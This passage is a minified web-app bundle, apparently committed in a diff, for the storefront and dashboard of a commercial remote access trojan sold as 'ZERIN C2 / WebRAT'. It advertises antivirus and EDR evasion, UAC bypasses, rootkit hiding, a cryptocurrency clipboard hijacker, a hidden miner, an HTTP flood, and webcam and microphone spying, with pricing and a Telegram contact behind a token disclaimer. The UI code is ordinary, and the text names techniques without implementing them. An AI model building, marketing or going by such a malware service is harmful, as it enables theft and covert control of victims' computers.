Obfuscation",desc:"Ekko-style: XOR-encrypts .text section during beacon sleep intervals",detail:"Timer-queue based encryption/decryption cycle"},{name:"Indirect Syscalls",desc:"Extracts SSNs from ntdll, uses syscall;ret gadgets — bypasses userland hooks",detail:"NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, and more"},{name:"ntdll Unhooking",desc:"Restores ntdll .text from clean KnownDlls mapping — removes EDR hooks",detail:"NtOpenSection/NtMapViewOfSection — no file I/O"},{name:"Polymorphic Engine",desc:"Every build produces unique machine code — no two agents share the same hash",detail:"Junk code generation, function randomization, unique keys per build"},{name:"Encrypted Strings",desc:"All strings ChaCha20-encrypted per-build, decrypted on stack at runtime",detail:"Wiped after use — zero plaintext in memory at rest"},{name:"IAT Dilution",desc:"Benign Windows APIs forced into import table to mimic legitimate software",detail:"Clean import profile — no suspicious API imports visible"},{name:"Dynamic API Resolution",desc:"PEB walk + FNV1a hash lookup — sensitive APIs never appear in IAT",detail:"RESOLVE_API macro for all Nt* and injection APIs"},{name:"Kill Protection",desc:"Strips terminate/suspend rights from OpenProcess calls targeting agent PID",detail:"Blocks Task Manager, taskkill, Process Explorer"},{name:"Child Process Injection",desc:"NtResumeThread hook auto-injects rootkit into every new child process",detail:"Shared memory ring buffer IPC for near-instant propagation"}],terminal:{title:"zerin :: evasion-status",lines:["$ evasion --status",' AMSI Bypass ........... active',' ETW Patching .......... active',' Sleep Obfuscation ..... active',' Indirect Syscalls ..... active',' ntdll Unhooked ........ clean',' Rootkit Hooks ......... 11/11',' Kill Protection ....... active',' Injected Processes .... 34']}},{id:"network",label:"Network Operations",tag:"NET",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Pivot into internal networks and route traffic through compromised hosts.",features:[{name:"SOCKS5 Reverse Proxy",desc:"Full SOCKS5 proxy tunneled through the agent over WebSocket",detail:"256 concurrent channels, binary framing, auto-reconnect"},{name:"Internal Pivoting",desc:"Route operator tools through the agent to reach internal hosts",detail:"Access segmented networks, internal services, lateral movement"},{name:"Port Hiding",desc:"Rootkit filters agent connections from netstat and TCPView",detail:"NtDeviceIoControlFile hook on NSI device — IPv4 and IPv6"}]},{id:"recon",label:"Reconnaissance",tag:"RCN",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m21 21-5.197-5.197m0 0A7.5 7.5 0 1 0 5.196 5.196a7.5 7.5 0 0 0 10.607 10.607Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Comprehensive target profiling and environment enumeration.",features:[{name:"System Info",desc:"OS version, build, architecture, hostname, domain, uptime"},{name:"Hardware Specs",desc:"CPU model, RAM capacity, GPU, disk information"},{name:"Network Interfaces",desc:"Adapters, IP addresses, MAC addresses, gateway info"},{name:"Active Connections",desc:"TCP/UDP connections, listening ports — like netstat"},{name:"Environment Variables",desc:"Full environment variable enumeration"},{name:"Registry Access",desc:"Read and write arbitrary registry keys and values"},{name:"Installed Applications",desc:"Software list from Add/Remove Programs"},{name:"Window Enumeration",desc:"Visible top-level windows with titles and owning PIDs"}]},{id:"privesc",label:"Privilege Escalation",tag:"ESC",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M4.5 10.5 12 3m0 0 7.5 7.5M12 3v18",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Silent UAC bypass techniques for automatic privilege elevation.",features:[{name:"Fodhelper UAC Bypass",desc:"Registry hijack via ms-settings shell command — auto-elevates without prompt",detail:"Works on Windows 10/11, cleans up registry keys after execution"},{name:"CMSTPLUA COM Elevation",desc:"CoGetObject elevation moniker to obtain ICMLuaUtil interface",detail:"ShellExec via COM — works Windows 7 through 11"},{name:"Forced UAC Fallback",desc:"ShellExecuteEx with runas verb if silent methods fail",detail:"Automatic fallback chain — tries silent first, prompts only as last resort"},{name:"Auto-Elevation on Launch",desc:"Automatic silent UAC bypass attempt on agent startup",detail:"Seamless — agent elevates itself without operator interaction"}],terminal:{title:"zerin :: priv-esc",lines:["$ elevate --auto"," [*] Current: Medium Integrity"," [*] Trying Fodhelper bypass..."," [+] Registry hijack set"," [+] fodhelper.exe launched"," [+] Elevated session spawned"," [*] Registry cleaned up",' [] Now running as High Integrity']}},{id:"c2",label:"C2 Infrastructure",tag:"C2I",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Military-grade encrypted communications and payload delivery.",features:[{name:"ChaCha20-Poly1305",desc:"AEAD encryption for all C2 traffic — zero plaintext on the wire",detail:"Per-session keys, authenticated encryption"},{name:"X25519 Key Exchange",desc:"Elliptic curve Diffie-Hellman for forward-secret key negotiation",detail:"Ephemeral keys — compromise of one session doesn't affect others"},{name:"TLS 1.3 Transport",desc:"Industry-standard transport security wrapping the encrypted C2 channel",detail:"Double encryption — TLS outer layer + ChaCha20 inner layer"},{name:"Payload Builder",desc:"On-demand payload generation with configurable parameters",detail:"Callback URL, sleep interval, jitter, user-agent, output format (EXE/DLL)"},{name:"Stager / Stage 0",desc:"Lightweight loader — downloads, decrypts, and reflectively loads the full agent",detail:"XOR-encrypted payload, no disk artifacts, in-memory PE loading"},{name:"Crypter",desc:"Server-side runtime packing engine for additional evasion",detail:"Polymorphic + metamorphic generation, unique structure per build"}]},{id:"extras",label:"Extended Modules",tag:"EXT",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M3.75 6A2.25 2.25 0 0 1 6 3.75h2.25A2.25 2.25 0 0 1 10.5 6v2.25a2.25 2.25 0 0 1-2.25 2.25H6a2.25 2.25 0 0 1-2.25-2.25V6ZM3.75 15.75A2.25 2.25 0 0 1 6 13.5h2.25a2.25 2.25 0 0 1 2.25 2.25V18a2.25 2.25 0 0 1-2.25 2.25H6A2.25 2.25 0 0 1 3.75 18v-2.25ZM13.5 6a2.25 2.25 0 0 1 2.25-2.25H18A2.25 2.25 0 0 1 20.25 6v2.25A2.25 2.25 0 0 1 18 10.5h-2.25a2.25 2.25 0 0 1-2.25-2.25V6ZM13.5 15.75a2.25 2.25 0 0 1 2.25-2.25H18a2.25 2.25 0 0 1 2.25 2.25V18A2.25 2.25 0 0 1 18 20.25h-2.25a2.25 2.25 0 0 1-2.25-2.25v-2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Additional operator modules for disruption, crypto operations, and stress testing.",features:[{name:"Troll Module",desc:"MessageBox, text-to-speech, wallpaper change, taskbar hide, CD eject, mouse/keyboard lock, black screen, DNS reroute",detail:"12 disruption commands for operator interaction"},{name:"Crypto Clipper",desc:"Clipboard monitoring for 9 cryptocurrencies — BTC, ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB",detail:"Format-aware pattern matching (Base58, Bech32, hex), operator wallet replacement"},{name:"Miner Management",desc:"XMRig lifecycle control — deploy, configure pool/wallet, start/stop, monitor hashrate",detail:"IDLE priority, configurable CPU throttle, HTTP API stats"},{name:"HTTP Flood",desc:"Layer 7 stress testing — up to 64 threads with randomized User-Agent rotation",detail:"Configurable duration, method (GET/POST/HEAD), auto-stop watchdog"},{name:"Power Control",desc:"Restart or shutdown the target system remotely"},{name:"Agent Uninstall",desc:"Clean removal — strips persistence entries and self-deletes"}]}];function lS(e=.15){const t=m.useRef(null),[n,r]=m.useState(!1);return m.useEffect(()=>{const i=t.current;if(!i)return;const s=new IntersectionObserver(([o])=>{o.isIntersecting&&(r(!0),s.disconnect())},{threshold:e});return s.observe(i),()=>s.disconnect()},[e]),{ref:t,visible:n}}const $V=m.memo(function(){const t=m.useRef(null);return m.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,s=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let b=0;b{cancelAnimationFrame(i),window.removeEventListener("resize",y)}},[]),a.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function X2({text:e,base:t}){const n=[];let r=0;const i=/([^<]*)<\/span>/g;let s=0,o;for(;(o=i.exec(e))!==null;)o.index>s&&n.push(a.jsx("span",{className:t,children:e.slice(s,o.index)},r++)),n.push(a.jsx("span",{className:o[1],children:o[2]},r++)),s=i.lastIndex;return sa.jsx("div",{className:`transition-all duration-500 ${r?"opacity-100":"opacity-0"}`,style:{transitionDelay:r?`${s*80}ms`:"0ms"},children:i.startsWith("$")?a.jsxs(a.Fragment,{children:[a.jsx("span",{className:"text-zerin-accent",children:"$"}),a.jsx("span",{className:"ml-2",children:a.jsx(X2,{text:i.slice(1),base:"text-zerin-text-dim"})})]}):a.jsx("span",{className:"pl-4",children:a.jsx(X2,{text:i,base:"text-zerin-text-muted/60"})})},s))})]})}const FV=m.memo(function({feat:t,delay:n,visible:r}){const[i,s]=m.useState(!1);return a.jsx("div",{className:`group border border-[#1a1a22] bg-[#08080c]/60 hover:border-zerin-accent/20 transition-all duration-500 ${r?"opacity-100 translate-y-0":"opacity-0 translate-y-3"}`,style:{transitionDelay:r?`${n}ms`:"0ms"},children:a.jsxs("button",{onClick:()=>t.detail&&s(!i),className:"w-full text-left px-5 py-4 flex items-start gap-4",children:[a.jsx("div",{className:"flex-shrink-0 mt-0.5 w-1.5 h-1.5 rounded-full bg-zerin-accent/50 group-hover:bg-zerin-accent transition-colors"}),a.jsxs("div",{className:"flex-1 min-w-0",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("h4",{className:"font-display text-[14px] font-semibold text-zerin-text group-hover:text-zerin-accent transition-colors duration-300",children:t.name}),t.detail&&a.jsx("svg",{className:`w-3 h-3 text-zerin-text-muted/40 transition-transform duration-200 ${i?"rotate-180":""}`,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"m19.5 8.25-7.5 7.5-7.5-7.5"})})]}),a.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted leading-relaxed mt-0.5",children:t.desc}),t.detail&&i&&a.jsx("p",{className:"font-mono text-[11px] text-zerin-accent/60 leading-relaxed mt-2 pl-0 border-l-2 border-zerin-accent/20 ml-0 pl-3",children:t.detail})]})]})})});function WV({cat:e,index:t}){const{ref:n,visible:r}=lS(.1);return a.jsxs("section",{ref:n,id:e.id,className:"scroll-mt-24",children:[a.jsxs("div",{className:`flex items-center gap-4 mb-6 transition-all duration-700 ${r?"opacity-100 translate-x-0":"opacity-0 -translate-x-4"}`,children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/40",children:String(t+1).padStart(2,"0")}),a.jsx("div",{className:"w-8 h-8 border border-zerin-accent/20 bg-zerin-accent/5 flex items-center justify-center text-zerin-accent/70",children:e.icon})]}),a.jsxs("div",{children:[a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("h2",{className:"font-display font-bold text-xl text-zerin-text tracking-tight",children:e.label}),a.jsx("span",{className:"font-mono text-[9px] tracking-[0.15em] border border-zerin-accent/20 text-zerin-accent/50 px-1.5 py-0.5 leading-none",children:e.tag})]}),a.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted mt-0.5",children:e.lead})]})]}),a.jsxs("div",{className:`grid gap-[1px] ${e.terminal?"lg:grid-cols-[1fr_380px]":""} gap-6`,children:[a.jsx("div",{className:"space-y-[1px]",children:e.features.map((i,s)=>a.jsx(FV,{feat:i,delay:s*50,visible:r},i.name))}),e.terminal&&a.jsx("div",{className:"hidden lg:block",children:a.jsx("div",{className:"sticky top-24",children:a.jsx(BV,{title:e.terminal.title,lines:e.terminal.lines})})})]})]})}function UV({activeId:e}){return a.jsx("nav",{className:"hidden xl:block fixed left-6 top-1/2 -translate-y-1/2 z-40",children:a.jsx("div",{className:"flex flex-col gap-1",children:Vi.map(t=>a.jsxs("a",{href:`#${t.id}`,className:`group flex items-center gap-2 py-1 transition-all duration-300 ${e===t.id?"opacity-100":"opacity-30 hover:opacity-60"}`,children:[a.jsx("div",{className:`h-[2px] transition-all duration-300 ${e===t.id?"w-6 bg-zerin-accent":"w-3 bg-zerin-text-muted/40 group-hover:w-4 group-hover:bg-zerin-text-muted/60"}`}),a.jsx("span",{className:"font-mono text-[9px] tracking-[0.15em] text-zerin-text-muted uppercase",children:t.tag})]},t.id))})})}function sc({value:e,label:t,suffix:n=""}){return a.jsxs("div",{className:"text-center",children:[a.jsxs("div",{className:"font-mono text-3xl md:text-4xl font-bold text-zerin-accent tabular-nums",children:[e,n]}),a.jsx("div",{className:"text-zerin-text-muted text-[10px] mt-1.5 uppercase tracking-[0.2em] font-mono",children:t})]})}function VV(){const[e,t]=m.useState(!1),[n,r]=m.useState(Vi[0].id);m.useEffect(()=>{const o=()=>t(window.scrollY>20);return window.addEventListener("scroll",o),()=>window.removeEventListener("scroll",o)},[]),m.useEffect(()=>{const o=new IntersectionObserver(c=>{for(const u of c)u.isIntersecting&&r(u.target.id)},{rootMargin:"-30% 0px -60% 0px"});return Vi.map(c=>document.getElementById(c.id)).filter(Boolean).forEach(c=>o.observe(c)),()=>o.disconnect()},[]);const i=m.useCallback(()=>{window.scrollTo({top:0,behavior:"smooth"})},[]),s=Vi.reduce((o,l)=>o+l.features.length,0);return a.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden overflow-y-auto",children:[a.jsx($V,{}),a.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[1000px] h-[600px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)",zIndex:0}}),a.jsx("nav",{className:`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${e?"bg-[#04040a]/80 backdrop-blur-xl border-b border-[#1a1a22]":"bg-transparent"}`,children:a.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[a.jsx("div",{className:"flex items-center gap-3",children:a.jsxs(xt,{to:"/",className:"flex items-center gap-3 hover:opacity-80 transition-opacity",children:[a.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),a.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"C2"})]})}),a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx(xt,{to:"/features",className:"text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Features"}),a.jsx("a",{href:"/#pricing",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Pricing"}),a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5 flex items-center gap-1.5",children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),a.jsx(xt,{to:"/login",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Login"}),a.jsx(xt,{to:"/register",className:"bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 hover:bg-zerin-accent/15 text-zerin-accent text-sm font-mono px-4 py-1.5 transition-all duration-300",children:"Register"})]})]})}),a.jsx(UV,{activeId:n}),a.jsxs("section",{className:"relative z-10 pt-32 pb-16 px-6 text-center",children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Platform Capabilities"}),a.jsxs("h1",{className:"font-display font-bold text-4xl sm:text-5xl md:text-6xl tracking-tight mt-4 mb-5",children:["Full Spectrum"," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent via-cyan-300 to-zerin-accent bg-clip-text text-transparent",children:"Red Team Toolkit"})]}),a.jsxs("p",{className:"max-w-2xl mx-auto text-zerin-text-muted/80 text-[15px] leading-relaxed font-mono",children:[s," capabilities across ",Vi.length," modules — from initial access to persistence, evasion, and exfiltration. Everything an operator needs in a single platform."]}),a.jsxs("div",{className:"mt-14 max-w-3xl mx-auto grid grid-cols-2 sm:grid-cols-4 gap-8 border border-[#1a1a22] bg-[#08080c]/50 py-6 px-6",children:[a.jsx(sc,{value:String(s),label:"Capabilities"}),a.jsx(sc,{value:"13",label:"Persist Methods"}),a.jsx(sc,{value:"11",label:"Rootkit Hooks"}),a.jsx(sc,{value:"256",label:"Proxy Channels"})]}),a.jsx("div",{className:"mt-10 flex flex-wrap items-center justify-center gap-2",children:Vi.map(o=>a.jsx("a",{href:`#${o.id}`,className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/60 border border-[#1a1a22] hover:border-zerin-accent/30 hover:text-zerin-accent/80 px-3 py-1.5 transition-all duration-300 uppercase",children:o.label},o.id))})]}),a.jsx("div",{className:"max-w-6xl mx-auto px-6",children:a.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"})}),a.jsx("div",{className:"relative z-10 max-w-5xl mx-auto px-6 py-20 space-y-24",children:Vi.map((o,l)=>a.jsx(WV,{cat:o,index:l},o.id))}),a.jsxs("section",{className:"relative z-10 py-24 px-6 text-center border-t border-[#1a1a22]/50",children:[a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl tracking-tight mb-4",children:["Ready to"," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"operate"}),"?"]}),a.jsxs("p",{className:"text-zerin-text-muted text-[15px] mb-8 max-w-md mx-auto",children:["Get lifetime access to the full platform — all ",s," capabilities included."]}),a.jsxs("div",{className:"flex items-center justify-center gap-4",children:[a.jsxs("a",{href:"/#pricing",className:"group relative overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-8 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)]",children:[a.jsx("span",{className:"relative z-10",children:"View Pricing"}),a.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]}),a.jsx(xt,{to:"/register",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-8 py-3 transition-all duration-300",children:"Register"})]})]}),a.jsxs("footer",{className:"relative z-10 border-t border-[#1a1a22]/50 py-8 px-6",children:[a.jsxs("div",{className:"max-w-6xl mx-auto flex items-center justify-between",children:[a.jsxs("button",{onClick:i,className:"flex items-center gap-2 hover:opacity-80 transition-opacity",children:[a.jsx("span",{className:"font-display font-bold text-sm text-zerin-text-muted/60",children:"ZERIN"}),a.jsx("span",{className:"text-[8px] font-mono text-zerin-text-muted/30 tracking-widest",children:"WebRAT"})]}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"font-mono text-[11px] text-zerin-text-muted/40 hover:text-zerin-accent transition-colors flex items-center gap-1.5",children:[a.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/30",children:"© 2026"})]})]}),a.jsx("div",{className:"max-w-6xl mx-auto mt-4 pt-4 border-t border-[#1a1a22]/30",children:a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted/25 leading-relaxed text-center",children:"This software is provided strictly for educational purposes and authorized penetration testing only. The developer does not promote, condone, or support the use of this tool for unauthorized access, malware distribution, or any illegal activity. By using this software you agree to comply with all applicable laws in your jurisdiction. Use at your own risk."})})]})]})}function oc({children:e}){const{isAuthenticated:t}=gs();return t?a.jsx(a.Fragment,{children:e}):a.jsx(la,{to:"/",replace:!0})}function HV({children:e}){const{isAuthenticated:t,isAdmin:n}=gs();return t?n?a.jsx(a.Fragment,{children:e}):a.jsx(la,{to:"/",replace:!0}):a.jsx(la,{to:"/login",replace:!0})}function Z2({children:e}){const{isAuthenticated:t}=gs();return t?a.jsx(la,{to:"/dashboard",replace:!0}):a.jsx(a.Fragment,{children:e})}function KV(){const[e]=Sx(),t=hr();return m.useEffect(()=>{let n=e.get("token");if(!n){const r=window.location.hash;r.startsWith("#token=")&&(n=decodeURIComponent(r.slice(7)))}n&&n.split(".").length===3&&(Cx(n),zi()),t("/dashboard",{replace:!0})},[e,t]),null}function YV(){const{isAuthenticated:e}=gs();return e?a.jsx(la,{to:"/dashboard",replace:!0}):Ex()?a.jsx(aA,{}):a.jsx(la,{to:"/login",replace:!0})}function qV(){return a.jsx(j_,{children:a.jsxs(EE,{children:[a.jsx(mt,{path:"/",element:a.jsx(YV,{})}),a.jsx(mt,{path:"/auth",element:a.jsx(KV,{})}),a.jsx(mt,{path:"/features",element:a.jsx(VV,{})}),a.jsx(mt,{path:"/payment/:id",element:a.jsx(RV,{})}),a.jsx(mt,{path:"/login",element:a.jsx(Z2,{children:a.jsx(sA,{})})}),a.jsx(mt,{path:"/register",element:a.jsx(Z2,{children:a.jsx(oA,{})})}),a.jsx(mt,{path:"/vnc/:id",element:a.jsx(oc,{children:a.jsx(bV,{})})}),a.jsx(mt,{path:"/webcam/:id",element:a.jsx(oc,{children:a.jsx(SV,{})})}),a.jsx(mt,{path:"/mic/:id",element:a.jsx(oc,{children:a.jsx(PV,{})})}),a.jsxs(mt,{element:a.jsx(oc,{children:a.jsx(Q_,{})}),children:[a.jsx(mt,{path:"/dashboard",element:a.jsx(WU,{})}),a.jsx(mt,{path:"/agents/:id",element:a.jsx(mV,{})}),a.jsx(mt,{path:"/events",element:a.jsx(hV,{})}),a.jsx(mt,{path:"/payloads",element:a.jsx(gV,{})}),a.jsx(mt,{path:"/credentials",element:a.jsx(LV,{})}),a.jsx(mt,{path:"/crypter",element:a.jsx(TV,{})}),a.jsx(mt,{path:"/admin",element:a.jsx(HV,{children:a.jsx(OV,{})})})]}),a.jsx(mt,{path:"*",element:a.jsx(la,{to:"/",replace:!0})})]})})}Mm.createRoot(document.getElementById("root")).render(a.jsx(Ah.StrictMode,{children:a.jsx(RE,{children:a.jsx(qV,{})})})); diff --git a/dist/assets/index-BKpgognX.css b/dist/assets/index-BKpgognX.css new file mode 100755 index 0000000..cae7a88 --- /dev/null +++ b/dist/assets/index-BKpgognX.css @@ -0,0 +1 @@ +*,:before,:after{--tw-border-spacing-x: 0;--tw-border-spacing-y: 0;--tw-translate-x: 0;--tw-translate-y: 0;--tw-rotate: 0;--tw-skew-x: 0;--tw-skew-y: 0;--tw-scale-x: 1;--tw-scale-y: 1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness: proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width: 0px;--tw-ring-offset-color: #fff;--tw-ring-color: rgb(59 130 246 / .5);--tw-ring-offset-shadow: 0 0 #0000;--tw-ring-shadow: 0 0 #0000;--tw-shadow: 0 0 #0000;--tw-shadow-colored: 0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }::backdrop{--tw-border-spacing-x: 0;--tw-border-spacing-y: 0;--tw-translate-x: 0;--tw-translate-y: 0;--tw-rotate: 0;--tw-skew-x: 0;--tw-skew-y: 0;--tw-scale-x: 1;--tw-scale-y: 1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness: proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width: 0px;--tw-ring-offset-color: #fff;--tw-ring-color: rgb(59 130 246 / .5);--tw-ring-offset-shadow: 0 0 #0000;--tw-ring-shadow: 0 0 #0000;--tw-shadow: 0 0 #0000;--tw-shadow-colored: 0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }*,:before,:after{box-sizing:border-box;border-width:0;border-style:solid;border-color:#e5e7eb}:before,:after{--tw-content: ""}html,:host{line-height:1.5;-webkit-text-size-adjust:100%;-moz-tab-size:4;-o-tab-size:4;tab-size:4;font-family:var(--font-sans),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif;font-feature-settings:normal;font-variation-settings:normal;-webkit-tap-highlight-color:transparent}body{margin:0;line-height:inherit}hr{height:0;color:inherit;border-top-width:1px}abbr:where([title]){-webkit-text-decoration:underline dotted;text-decoration:underline dotted}h1,h2,h3,h4,h5,h6{font-size:inherit;font-weight:inherit}a{color:inherit;text-decoration:inherit}b,strong{font-weight:bolder}code,kbd,samp,pre{font-family:var(--font-mono),"Cascadia Code","Consolas","SF Mono","Liberation Mono","Menlo",monospace;font-feature-settings:normal;font-variation-settings:normal;font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}table{text-indent:0;border-color:inherit;border-collapse:collapse}button,input,optgroup,select,textarea{font-family:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-size:100%;font-weight:inherit;line-height:inherit;letter-spacing:inherit;color:inherit;margin:0;padding:0}button,select{text-transform:none}button,input:where([type=button]),input:where([type=reset]),input:where([type=submit]){-webkit-appearance:button;background-color:transparent;background-image:none}:-moz-focusring{outline:auto}:-moz-ui-invalid{box-shadow:none}progress{vertical-align:baseline}::-webkit-inner-spin-button,::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}summary{display:list-item}blockquote,dl,dd,h1,h2,h3,